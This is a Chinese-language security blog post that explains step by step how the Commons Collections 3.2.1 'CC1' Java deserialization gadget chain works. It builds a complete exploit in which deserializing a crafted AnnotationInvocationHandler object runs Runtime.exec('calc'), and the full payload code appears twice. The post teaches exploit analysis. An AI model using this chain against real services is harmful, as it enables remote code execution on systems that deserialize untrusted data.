首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >细致分析细致分析CommonsCollections1链及EXP构造思路

细致分析细致分析CommonsCollections1链及EXP构造思路

原创
作者头像
Gh0st1nTheShel
发布于 2022-01-26 09:27:16
发布于 2022-01-26 09:27:16
32300
代码可运行
举报
文章被收录于专栏:网络空间安全网络空间安全
运行总次数:0
代码可运行

欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章

找到利用链

依赖

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

CommonsCollections作用:commons-collections介绍 - codedot - 博客园 (cnblogs.com)

可以看到CommonsCollections是一个Java框架的增强工具,然而我们可以在里面找到可以利用的反序列化的链

在CommonsCollections中,这个InvokerTransformer是很好的利用点,首先此类继承了Serializable接口,导致可以反序列化,同时transform中使用反射调用了方法,而且所有的参数都可以控制,这就产生了命令执行的危害

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

总结

利用链

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

Payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("isSingleton", "test");
    Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
    AIHconstructor.setAccessible(true);
    Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);

    //序列化与反序列化
    SerializeClass.Serialize(obj, "SerializeTest.bin");
    UnserializeClass.Unserialize("SerializeTest.bin");
}

详细思路分析

想找到利用链,先从尾部分析

首先先写出通过Runtime.exec命令执行的代码

正常情况下写法为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Runtime.getRuntime().exec("calc"); 

通过反射的写法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

通过cc写法为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

测试代码正确后,我们从transform开始入手,找到可以利用的链

右键transform,查找用法,可以发现有21个用法(下载了cc源码的情况下,想要直接右键查找方法首先要先下载源码,cc的源码下载很简单,随便打开一个.class文件然后点击上方的下载源代码即可),其中一个可以利用的点是在cc.map下的TransformedMap的checkSetValue方法,其实在TransformedMap中有很多方法都调用了transform方法,理论上如果链完整且参数可控的话都可以利用,这里就先拿一条案例作为说明

看到是checkSetValue方法的valueTransformer调用的transform

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

我们demo的语句是

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); 

所以我们首先要确定valueTransformer是可控的,可以赋值为new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})才可用

查看构造方法,发现为protect权限,被decorate调用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

经过这样一分析,如果checkSetValue方法中,valueTransformer能够是我们的new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),那么效果是一样的,刚好这个值可以通过初始化对象来构造,由于构造方法里面要传一个Map对象,于是我们初始化一个HashMap给它

此处hashmap要存放对象,因为后面要用到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("test", "test");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);//由于我们只需要控制valueTransformer,所以keyTransformer就赋了个null

确定可以控制参数后,我们要继续查找链,看看哪个方法调用checkSetValue方法

查找用法checkSetValue方法,发现是在AbstractInputCheckedMapDecorator.java下的MapEntry类中调用,MapEntry的作用可以用来遍历Map,所以我们可以构造一个Map,这个Map的类型必须是通过TransformedMap生成的Map,这样entry才会调用AbstractInputCheckedMapDecorator下的entry

然后使用MapEntry进行遍历就会调用到setValue方法,也会调用到checkSetValue方法,不过在此之前要先给Map添加一个值以便遍历

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

至此,经过我们的分析,我们原本demo的代码可以写为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static void main(String[] args) throws ClassNotFoundException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "aaa");
        Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
        for(Map.Entry entry:map.entrySet()){
            entry.setValue(r);
        }
    }

运行代码后成功启动计算器,说明这条链是可以的,接下来我们要继续寻找入口点,最终目的是找到readObject()方法,运气很好的是,有一个类的readObject直接调用了setValue方法,在sun.reflect.annotation包中的AnnotationInvocationHandler类中,通过InvocationHandler可以知道这是动态代理

由于没有源码,所以要去openjdk中下载源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

如果jdk版本不同可能会显示字节码有差异,不过似乎问题不大

可以发现readObject中调用setValue也是在遍历数组的过程中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

查看构造方法的传入参数类型,Annotation为注解类型,memberValues为map类型

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) 

在实例化此类的过程中,由于类是Default权限,所以不能直接实例化对象,必须通过反射得到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHconstructor.setAccessible(true);
Object obj = AIHconstructor.newInstance(Override.class, map);

通过序列化AnnotationInvocationHandler才能触发里面的readObject方法,这个链才是完整的

到目前为止,我们已经找到了完整的利用链

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime()); 

代码如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");
        Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        AIHconstructor.setAccessible(true);
        Object AIH = AIHconstructor.newInstance(Target.class, map);
        
        test(AIH);//用于序列化和反序列化的自定义方法
    }

但是执行后并未调用计算器

这是因为如果要序列化则会出现两个问题:

1、Runtime类未继承Serializable接口,并不可以被序列化

2、我们的目标setValue是在AnnotationInvocationHandler类的readObject方法的if体中,且不可控,所以要达到条件才可以进入if体

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }

对于第一点,我们要仿照

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 

的写法来获取对象,首先先反射调用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

通过transformer改写

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

测试后可以调用计算器,说明改写成功,于是乎我们可以像之前一样改写transform,但是这样过于繁琐,所以使用chainedtransform来代替,chainedtransform的作用就是连续调用transformers数组里面的transform方法,即transforms0.transform,transform1.transform...

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

测试成功后就只需要修改一个transform即可

对于第二点,我们要弄清楚什么情况下才可以进入到if体里面,进入调试

在AnnotationInvocationHandler类中的440行开始

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);

首先会在我们传入的Map中获取key,然后在对应的注解查找是否有相应的参数

在这当中获取了注解的member类型,然而我们传入的Override是没有内容的,所以找不到对应的参数,会返回null

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public @interface Override {
}

通过查看Annotation的实现类

就以第一个AMXMetadata为例子,点开

看到isSingleton,于是在map中传入isSingleton,然后将注解换为AMXMetadata

经过调试发现,成功进入了if体,但是并未成功执行命令,一步步调用查看

当执行checkSetValue方法时,步入transform方法

可以看到传入的iTransformers参数就是Transformer数组,然而Object是public abstract boolean com.sun.org.glassfish.gmbal.AMXMetadata.isSingleton(),即和我们设置map的内容相关

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

首先第一个就是

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), 

进入for循环,继续步入transform,可以看到反射获取了类和方法然而类是sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy,方法是getMethod

这和我们设置的链是不一样的,所以自然抛出了没有此方法的错误

所以我们的目标是让Object传入的是Runtime

这时候又有一个Transformer叫ConstantTransformer,看一下它的构造方法

可以看到是传啥等于啥,transform方法就是直接把值给返回,所以如果我们在刚才的Transformer之前设置一个ConstantTransformer,并且传入Runtime,那么在反射获取类的时候就可以获得Runtime,

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

最终Payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("isSingleton", "test");
    Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
    AIHconstructor.setAccessible(true);
    Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);

    //序列化与反序列化
    SerializeClass.Serialize(obj, "SerializeTest.bin");
    UnserializeClass.Unserialize("SerializeTest.bin");
}

重新回到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

调用了ConstantTransformer的Transformer,返回了java.lang.Runtime,使得循环的object变为了Runtime

再继续进入transform,链就正常了

最后成功启动了计算器

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
C语言实现顺序队列
顺序队列和顺序栈相类似,在队列的顺序存储结构中,除了用一组地址连续的存储单元依次存放从队列头到队列尾的元素之外,尚需附设两个 “指针” front 和 rear 分别指示队列头元素及队列尾元素的位置。
忆想不到的晖
2020/07/15
1.8K0
C语言实现顺序队列
数据结构:队列的顺序存储结构(循环队列)
本文介绍了循环队列的实现方式和应用场景,通过对比循环队列和传统队列的差异,阐述了循环队列的优势和劣势。同时,给出了一种基于填充计数的循环队列实现方法,并给出了相应的代码示例。
s1mba
2018/01/03
1.5K0
数据结构:队列的顺序存储结构(循环队列)
队列(常用数据结构之一)
那么a1为对头元素,an为队尾元素。最早进入队列的元素也会最早出来,只有当最先进入队列的元素都出来以后,后进入的元素才能退出。 在日常生活中,人们去银行办理业务需要排队,这就类似我们提到的队列。每一个新来办理业务的需要按照机器自动生成的编号等待办理,只有前面的人办理完毕,才能轮到排在后面的人办理业务。新来的人进入排队状态就相当于入队,前面办理完业务离开的就相当于出队。队列有两种存储表示:顺序存储和链式存储。采用顺序存储结构的队列被称为顺序队列,采用链式存储结构的队列称为链式队列。 基本运算 InitQueue() ——初始化队列 EnQueue() ——进队列 DeQueue() ——出队列 IsQueueEmpty() ——判断队列是否为空 IsQueueFull() ——判断队列是否已满 顺序队列 由于顺序队列的底层使用的是数组,因此需预先申请一块足够大的内存空间初始化顺序队列。除此之外,为了满足顺序队列中数据从队尾进,队头出且先进先出的要求,我们还需要定义两个指针(top 和 rear)分别用于指向顺序队列中的队头元素和队尾元素。 队列为空时,队头指针front和队尾指针rear都指向下标为0的存储单元,当元素a,b,c,d,e,f,g依次进入队列后,元素a~g分别存放在数组下标为0~6的存储单元中,队头指针front指向元素a,队尾指针指rear向元素g的下一位置。如图所示。
后端码匠
2020/12/09
6570
队列(常用数据结构之一)
队列的基本概念详解,循环队列、链式队列的C++详细实现
队列的顺序存储形式,可以用一段连续的空间存储数据元素,用两个整型变量记录队头和队尾元素的下标。
莫浅子
2022/11/18
1.4K0
队列的基本概念详解,循环队列、链式队列的C++详细实现
【数据结构】详谈队列的顺序存储及C语言实现
大家好,很高兴又和大家见面啦!!! 在上一篇内容中,我们在介绍完队列的基本概念、重要术语以及基本操作后,又回顾了一下数据结构的三要素——数据的逻辑结构、数据的存储结构以及数据的运算。 队列这种数据结构我们已经介绍了它的逻辑结构以及数据运算的定义,从这一篇开始,我们将详细介绍队列的数据的存储结构以及数据的运算的实现。 在今天的内容中,我们要介绍的是队列在内存中的顺序存储结构以及如何通过C语言来实现相关的基本操作。
蒙奇D索隆
2024/01/21
1.5K0
【数据结构】详谈队列的顺序存储及C语言实现
循环队列原理及在单片机串口通讯中的应用(一)
  当写代码,不再是简单的完成需求,对代码进行堆砌,而是开始思考如何写出优美代码的时候,我们的代码水平必然会不断提升,今天,咱们来学习环形队列结构。
用户8913398
2021/08/16
1.2K0
循环队列原理及在单片机串口通讯中的应用(一)
数据结构-栈和队列
栈是一种特殊的线性表。其特殊性在于限定插入和删除数据元素的操作只能在线性表的一端进行。如下所示:
黄规速
2022/04/14
5870
数据结构-栈和队列
数据结构代码题-栈、队列
04.设单链表的表头指针为L,结点结构由data和next两个域构成,其中data域为字符型。试设计算法判断该链表的全部n个字符是否中心对称。例如xyx、xyyx都是中心对称。
愷龍
2023/10/16
3490
数据结构代码题-栈、队列
队列的存储结构的实现(C/C++实现)
存档 1 #include "iostream.h" 2 #include "stdlib.h" 3 #define max 20 4 typedef char elemtype; 5 #include "queue.h" 6 void main() 7 { 8 elemtype e; 9 queue q; 10 cout<<"(1)初始化队列q"<<endl; 11 initqueue(q); 12 cout<<"(2)队列为"<<(queueem
Angel_Kitty
2018/04/09
6550
队列的存储结构的实现(C/C++实现)
浅谈栈与队列
栈(Stack):是只允许在一端进行插入或删除的线性表。首先栈是一种线性表,但限定这种线性表只能在某一端进行插入和删除操作。
一条晒干的咸鱼
2024/11/19
1140
浅谈栈与队列
数据结构C语言实验三之循环队列
算法设计题:对于循环队列,利用队列的基本运算,设计删除队列中从队头开始的第k个元素的算法。
菜菜有点菜
2023/11/23
2850
数据结构C语言实验三之循环队列
数据结构之循环队列
前言: 关于循环队列需明白以下几点: 1、循环队列是队列的顺序存储结构 2、循环队列用判断是否为空利用 Q.front=Q.rear 3、循环队列头指针始终指向队列头元素,而尾指针始终指向队列尾元素的下一个位置 4、按照队列的定义,队头删除,队尾插入,在这里插入图片描述会导致队头之前可能有空余的内存空间(如下图J1,J2出队后,空间被浪费),为了解决该问题,提出循环队列的解决方案
全栈程序员站长
2022/09/05
3150
数据结构之循环队列
顺序循环队列
1 //循环队列的顺序存储表示与实现 2 3 #include <stdio.h> 4 #include <stdlib.h> 5 6 /****************************************************************************** 7 /* 数据类型和常量定义 8 /*****************************************************************************
猿人谷
2018/01/17
8780
顺序循环队列
C语言队列(排队)先进先出.实现全部函数
#include <stdio.h> #include <stdlib.h> /************************************************************************/ /* 队列 结构要素:队列容量 内存指针 元素个数 队列头 对列尾 */ /************************************************************************/ #define QUEUE_CAPA
贵哥的编程之路
2022/05/13
7000
队列的基本操作
队列是一种特殊的线性表,特殊之处在于它只允许在表的前端(front)进行删除操作,而在表的后端(rear)进行插入操作,和栈一样,队列是一种操作受限制的线性表。进行插入操作的端称为队尾,进行删除操作的端称为队头。 其实我们来对比栈,栈的特点是只能在一端进行操作的,而队列是一端插入一端删除。
兰舟千帆
2022/07/16
4660
队列的基本操作
循环队列出队-循环队列的c语言实现
  队列就是一个能够实现“先进先出”的存储结构,队列分为链式队列和静态队列。静态队列一般用数组来实现,但此时的队列必须是循环队列,否则会造成巨大的内存浪费;链式队列是用链表来实现队列的。说白了循环队列就是一个数组循环队列出队,我们把这个数组当成首尾相连来使用(写到数组的末尾后从头开始写)。
宜轩
2022/12/29
7950
数据结构:循环队列(C语言实现)[通俗易懂]
生活中有很多队列的影子,比如打饭排队,买火车票排队问题等,可以说与时间相关的问题,一般都会涉及到队列问题;从生活中,可以抽象出队列的概念,队列就是一个能够实现“先进先出”的存储结构。队列分为链式队列和静态队列;静态队列一般用数组来实现,但此时的队列必须是循环队列,否则会造成巨大的内存浪费;链式队列是用链表来实现队列的。这里讲的是循环队列,首先我们必须明白下面几个问题
全栈程序员站长
2022/09/05
6830
数据结构:循环队列(C语言实现)[通俗易懂]
数据结构-队列
本文介绍了循环队列和链队列的区别,以及它们的实现细节。循环队列是一种先进先出(FIFO)的数据结构,而链队列是一种后进先出(LIFO)的数据结构。循环队列通过两个指针(一个头指针,一个尾指针)来管理队列,链队列则通过一个指针进行头尾指针的切换。在性能上,循环队列由于不需要额外的空间,因此比链队列更高效。然而,链队列在不需要考虑队列长度的情况下,可以更灵活地插入和删除元素。
chaibubble
2018/01/02
6120
数据结构-队列
数据结构 第三章栈和队列
假设在周末舞会上,男士和女士们分别进入舞厅,各自排成一队。跳舞开始,依次从男队和女队队头各出一人配成舞伴,若两队初始人数不同,则较长那一队未配对者等待下一轮舞曲。现要求写一算法模拟上述舞伴配对问题。 你需要用队列操作实现上述算法。请完成下面5个函数的操作。
十二惊惶
2024/02/28
4090
循环队列 基本概念「建议收藏」
循环队列是 队列的一种特殊形式。首先介绍队列,然后引申出循环队列。 队列又称为“先进先出”(FIFO)线性表 限定插入操作只能在队尾进行,而删除操作只能在队首进行 队列也可以采用顺序存储结构或链表结构来实现,分别称为顺序队列和链队列
全栈程序员站长
2022/08/23
9090
循环队列 基本概念「建议收藏」
相关推荐
C语言实现顺序队列
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档